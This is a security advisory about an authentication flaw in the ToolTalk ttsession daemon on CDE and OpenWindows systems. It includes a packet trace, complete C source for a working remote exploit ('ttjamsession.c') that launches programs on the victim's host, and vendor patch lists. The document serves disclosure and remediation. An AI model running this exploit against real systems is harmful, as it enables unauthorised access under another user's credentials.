COMMAND
ttsession
SYSTEMS AFFECTED
OpenWindows (SunOS 4.1.x and Solaris), CDE (Solaris, AIX, HP, OSF/Digital, others?) and IRIX.
PROBLEM
Job de Haas found following. He discovered the following security
problem in ttsession, part of CDE. The ToolTalk session daemon
ttsession does not properly check client credentials. The
insufficient check can lead to compromise of a system from both
local and remote with the credentials of the user running
ttsession. Note that ttsession is not a system daemon and may not
be running all the time. It is normally started as part of an
X-session. Also client programs of ttsession may restart the
daemon if it can not be found running.
The ttsession daemon is part of the ToolTalk toolkit and allows
applications to send messages to each other. This is achieved by
RPC calls. The RPC calls are not properly authenticated. When
sniffing a tt_open request to a remote host the following can be
seen:
host1 -> host2 TCP D=33169 S=38194 Syn Seq=3510273898 Len=0
host2 -> host1 TCP D=38194 S=33169 Syn Ack=3510273899 Seq=914492820
host1 -> host2 TCP D=33169 S=38194 Ack=914492821 Seq=3510273899
host1 -> host2 RPC C XID=932526186 PROG=1289637086 VERS=4 PROC=0
host2 -> host1 TCP D=38194 S=33169 Ack=3510273971 Seq=914492821
host2 -> host1 RPC R (#4) XID=932526186 Success
host1 -> host2 RPC C XID=932526185 PROG=1289637086 VERS=4 PROC=400
host2 -> host1 TCP D=38194 S=33169 Ack=3510274043 Seq=914492849
host2 -> host1 RPC R (#7) XID=932526185 Success
host1 -> host2 RPC C XID=932526184 PROG=1289637086 VERS=4 PROC=18
host2 -> host1 RPC R (#10) XID=932526184 Success
host1 -> host2 RPC C XID=932526183 PROG=1289637086 VERS=4 PROC=11
host2 -> host1 RPC R (#12) XID=932526183 Success
host1 -> host2 TCP D=33169 S=38194 Ack=914493001 Seq=3510274267
host1 -> host2 TCP D=33169 S=38194 Fin Ack=914493001 Seq=3510274267
host2 -> host1 TCP D=38194 S=33169 Ack=3510274268 Seq=914493001
host2 -> host1 TCP D=38194 S=33169 Fin Ack=3510274268 Seq=914493001
host1 -> host2 TCP D=33169 S=38194 Ack=914493002 Seq=3510274268
This shows how first the NULL procedure of ttsession is called and
next a procedure with number 400. Then procedure 18 and 11 are
called. The contents of the reply to the PROC=400 call is
something like:
host2 -> host1 RPC R (#7) XID=932526185 Success
0: 0800 0000 0000 0800 0000 0000 0800 4500 .. tUb.. .v...E.
16: 0078 b3ab 4000 ff06 a2bf 7f00 0001 7f00 .x..@...........
32: 0001 8191 9532 3682 0db1 d13a 87fb 5018 .....26....:..P.
48: 2238 427e 0000 8000 004c 3795 3869 0000 "8B~.....L7.8i..
64: 0001 0000 0000 0000 0000 0000 0000 0000 ................
80: 0000 0000 002d 5020 3031 2031 3831 3736 .....-P 01 18176
96: 2031 3238 3936 3337 3038 3620 3120 3020 1289637086 1 0
112: 3130 3030 2031 302e 302e 302e 3130 2034 1000 10.0.0.10 4
128: 0000 ..
This same string can be found in the environment of a shell
started as part of a CDE X-session (if it was started by
ttsession):
TT_SESSION=01 18176 1289637086 1 0 1000 10.0.0.10 4
This is also described in the man page for ttession(1). When this
strings is looked at more closely, some aspects can be recognized.
The number 1289637086 for example is the RPC program number
(Solaris 7). Also the IP of the remote host can be seen
(10.0.0.10). The number 18176 is the PID of the ttsession process
and 1000 is the uid of the user running ttsession.
When playing around with the RPC call to retrieve this string from
ttsession, Job discovered it doesn't need client credentials to
match the user which is running ttsession. Thus anyone can
retrieve this string from a ttsession daemon! This combined with
the discovery that the string is used by the tt_open call to
determine the remote ttsession to connect to leads to the exploit
code below. This code uses a message to invoke a dtpad on the
host running ttsession. By using some tricks, it makes sure the
dtpad is displayed on the requested DISPLAY.
Reason why the exploit may fail: When a dtpad has been display
on a X-server, it will keep a lock on that server until the dtpad
-server process on the remote host has been terminated. Until
that time no other dtpads from different hosts can be displayed
on that Xserver. Close the X session and log back in again and
try again.
/*
* ttjamsession.c
* Job de Haas
* (c) ITSX bv 1999
*
* This is a simple ttsession exploit to show some problems with
* authentication of a remote user. The possibilities after authentication
* are not limited to starting dtpad, but rather any ptype as can be shown
* with tt_type_comp. On Solaris this includes dtterm.
*
* compile with:
* cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
* ttjamsession.c -o ttjamsession
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <Tt/tt_c.h>
#include <Tt/tttk.h>
#define TTSESSION_PROG 1342177279
#define TTSESSION_PROG_SOL7 1289637086
#define TTSESSION_VERS 3
#define TTSESSION_GETSESSID 400
long rpcprog = TTSESSION_PROG;
int version = TTSESSION_VERS;
long uid = -1;
int use_env = 0;
int test = 0;
/*
* For some reason the string is not returned with xdr_wrapstring. After
* some fiddling this seems to work.
*
*/
xdr_mystring(xdrs, objp)
register XDR *xdrs;
char **objp;
{
int len;
if (!xdr_int(xdrs, &len)) {
return 0;
}
*objp = (char *)malloc(len + 1);
if (xdr_opaque(xdrs, (caddr_t)*objp, len)) {
(*objp)[len] = '\0';
} else { return 0; }
return(1);
}
/*
* This is some generated code by ttsnoop (nice program! at least on sol 2.6)
* It was modified a bit to get it to spawn the program on the correct display
*/
Tt_callback_action
process_Instantiate_reply( Tt_message msg, Tt_message pat );
Tt_message
create_Instantiate(
Tt_message context,
char *action
)
{
Tt_message msg;
msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
0, action,
(Tt_message_callback)process_Instantiate_reply );
tt_message_arg_add( msg, TT_IN, "data", "data");
tt_message_context_set( msg, "$DISPLAY", getenv("DISPLAY"));
tt_message_disposition_set( msg, TT_START);
tt_message_handler_ptype_set( msg, "DTPAD");
return msg;
}
static Tt_callback_action
process_Instantiate_reply(
Tt_message msg,
Tt_message pat
)
{
switch (tt_message_state(msg)) {
case TT_SENT: /* handler is in this process */
case TT_STARTED:/* intermediate state */
case TT_QUEUED: /* intermediate state */
default: /* unknown state */
return TT_CALLBACK_CONTINUE;
case TT_HANDLED:
/* ... */
break;
case TT_FAILED: {
int status;
char *string;
status = tt_message_status( msg );
string = tt_message_status_string( msg );
printf("message failed with: %s\n",string);
/* ... */
} break;
}
tt_message_destroy( msg );
return TT_CALLBACK_PROCESSED;
}
/*
* The routine to get the remote sessionid string.
*
*/
int
get_sessionid( remotehost, port)
char *remotehost;
ushort port;
{
struct sockaddr_in server_addr;
enum clnt_stat clnt_stat;
struct hostent *hp;
struct timeval timeout;
CLIENT *clnt;
int msock;
char *buf;
char *env;
char *hostname;
char localhost[MAXHOSTNAMELEN];
memset((char *)&server_addr, 0, sizeof (server_addr));
if (remotehost) {
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr(remotehost);
if ( server_addr.sin_addr.s_addr == -1 ) {
if ((hp = gethostbyname(remotehost)) == NULL) {
printf("Can't resolve %s\n",remotehost);
exit(1);
}
memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
hostname = strdup( remotehost );
}
}
else {
if (gethostname(localhost, MAXHOSTNAMELEN)<0) {
perror("gethostname");
exit(1);
}
if (hp = gethostbyname(localhost)) {
memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
hostname = strdup( localhost );
} else {
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
hostname = strdup( "127.0.0.1" );
}
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
msock = RPC_ANYSOCK;
timeout.tv_sec = 15;
timeout.tv_usec = 0;
if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
TTSESSION_VERS, &msock, 10000, 10000)) == NULL) {
clnt_pcreateerror("clnttcp_create");
exit(1);
}
/*
* apparently credentials are not checked!
*/
clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);
if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
(xdrproc_t) xdr_void, (caddr_t) 0,
(xdrproc_t) xdr_mystring, (caddr_t) &buf,
timeout)) != RPC_SUCCESS) {
clnt_perror(clnt, "get session");
return(-1);
}
/*
* put TT_SESSION in the environment for tt_open to use.
*/
env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
strcpy(env,"TT_SESSION=");
strcat(env,buf+2);
putenv( env );
printf("Session ID: %s\n", buf);
return(0);
}
usage(progname)
char *progname;
{
fprintf(stderr,
"Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
fprintf(stderr," [-7] [-t] [-e] hostname\n");
fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
fprintf(stderr,"[-t] test the RPC call but not send messages\n");
fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
exit(-1);
}
int main(argc, argv)
int argc;
char **argv;
{
char *hostname = NULL;
struct in_addr addr;
extern int optind;
extern char *optarg;
short port = 0;
char c, *cp;
Tt_message context, msg;
char *procid;
while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF) {
switch (c) {
case 'r':
rpcprog = atoi(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 'u':
uid = atoi(optarg);
break;
case '7':
rpcprog = TTSESSION_PROG_SOL7;
break;
case 'e':
use_env = 1;
break;
case 't':
test = 1;
break;
default:
usage(argv[0]);
}
}
if (optind < argc) {
hostname = strdup(argv[optind++]);
}
if (optind < argc) {
port = atoi(argv[optind++]);
}
if (optind < argc) {
usage(argv[0]);
}
/* setup the socket and test correct service */
if ( !use_env && (get_sessionid( hostname, port ) < 0 )) {
printf("Failed to properly connect to ttsession\n");
exit(1);
}
if (test) exit(0);
/*
* Open up the channel to ttsession. The code uses the TT_SESSION
* environment var to figure out how.
*/
if (((procid = tt_open()) == NULL) || (*procid == '\0')) {
perror("tt_open");
exit(1);
}
/*
* Now we can send messages... like instantiate a dtpad!
* Two messages are sent to cause a new dtpad -server to be started
* so that the dtpad will be displayed on our server even if the local
* user is also using dtpad. I use sleep cause I can't seem to trigger
* the callback.
*
*/
msg = create_Instantiate(context, NULL);
tt_message_send(msg);
sleep(10);
msg = create_Instantiate(context, "Instantiate");
tt_message_send(msg);
sleep(10);
/* no idea if I got to wait for the callback */
exit(0);
}
SOLUTION
This problem has only been detected when the ttsession daemon is
running with Unix RPC authentication flavor. This is the default.
With options this can be changed to, for example, secure-RPC
(DES). With CDE it can be configured in /usr/dt/bin/Xsession.
Compaq Computer Corporation
===========================
This potential security problem has been resolved and a patch
for this problem has been made available for Tru64 UNIX V4.0D,
V4.0E, V4.0F and V5.0. This patch can be installed on:
V4.0D-F, all patch kits
V5.0, all patch kits
This solution will be included in a future distributed release of
Compaq's Tru64/ DIGITAL UNIX. This patch may be obtained from
the World Wide Web at the following FTP address:
http://www.service.digital.com/patches
The patch file name is SSRT0617_ttsession.tar.Z
HpUX
====
Install the applicable patch:
HP-UX release 10.10 In progress;
HP-UX release 10.20 PHSS_19747;
HP-UX release 10.24 PHSS_19819;
HP-UX release 11.00 PHSS_19748.
HP-UX release 10.30 was a development release prior to the
availability of HP-UX release 11.00. HP-UX release 10.30 will
not be patched.
IBM
====
The following APARs will be available soon:
AIX 4.1.x: IY03125 IY03847
AIX 4.2.x: IY03105 IY03848
AIX 4.3.x: IY02944 IY03849
Customers that do not require the CDE desktop functionality can
disable CDE by restricting access to the CDE daemons and
removing the dt entry from /etc/inittab. For customers that
require the CDE desktop functionality, a temporary fix is
available via anonymous ftp from:
ftp://aix.software.ibm.com/aix/efixes/security/cdecert.tar.Z
Sun Microsystems
================
Systems running Solaris 7, 2.6, 2.5.1, 2.5, 2.4, and 2.3, and
SunOS 4.1.4 and 4.1.3_U1 are vulnerable if the UNIX
authentication mechanism (default) is used with ttsession. The
use of DES authentication is recommended to resolve this issue.
To set the authentication mechanism to DES, use the ttsession
command with the '-a' option and specify 'des' as the argument
(see ttsession(1) for more information). The use of DES
authentication also requires that the system uses Secure NFS,
NIS+, or keylogin. For more information about Secure NFS, NIS+,
or keylogin, please see the System Administration Guide, Volume
II. Information is also available at:
http://docs.sun.com:80/ab2/coll.47.8/SYSADV2/@Ab2PageView/34908?DwebQuery=secure+rpc
Patches for described vulnerability:
SunOS version Patch ID
----------------------
5.7 107893-04
5.7_x86 107894-04
5.6 105802-11
5.6_x86 105803-13
5.5.1 104489-10
5.5.1_x86 105496-08
5.5 104428-08
5.5_x86 105495-06
5.4 102734-05
108636-01 (see Note 1)
5.4_x86 108641-01
108637-01 (see Note 1)
5.3 Patch will be available in 2 weeks
4.1.4, 4.1.3_U1 Patch will be available in 2 weeks
Install patch if CDE 1.0.2 or 1.0.1 is installed.